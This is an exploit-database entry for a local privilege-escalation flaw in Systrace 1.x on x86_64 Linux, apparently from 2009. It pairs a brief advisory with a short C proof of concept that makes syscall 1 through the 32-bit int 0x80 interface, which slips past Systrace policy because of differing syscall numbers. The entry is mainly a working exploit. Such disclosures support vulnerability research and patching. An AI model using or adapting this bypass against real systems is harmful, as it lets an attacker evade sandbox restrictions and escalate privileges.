Systrace 1.x (Linux Kernel x64) - Aware Local Privilege Escalation

2009-01-23T00:00:00
ID EXPLOITPACK:98B8C80DA1B922035BDB3E92255FC5CE
Type exploitpack
Reporter Chris Evans
Modified 2009-01-23T00:00:00

Description

Systrace 1.x (Linux Kernel x64) - Aware Local Privilege Escalation

                                        
                                            /*
source: https://www.securityfocus.com/bid/33417/info

Systrace is prone to a local privilege-escalation vulnerability.

A local attacker may be able to exploit this issue to bypass access control restrictions and make unintended system calls, which may result in an elevation of privileges.

Versions prior to Systrace 1.6f are vulnerable.
*/

int
main(int argc, const char* argv[])
{
  /* Syscall 1 is exit on i386 but write on x86_64. */
  asm volatile("movl $1, %eax\n"
               "int $0x80\n");
  for (;;);
}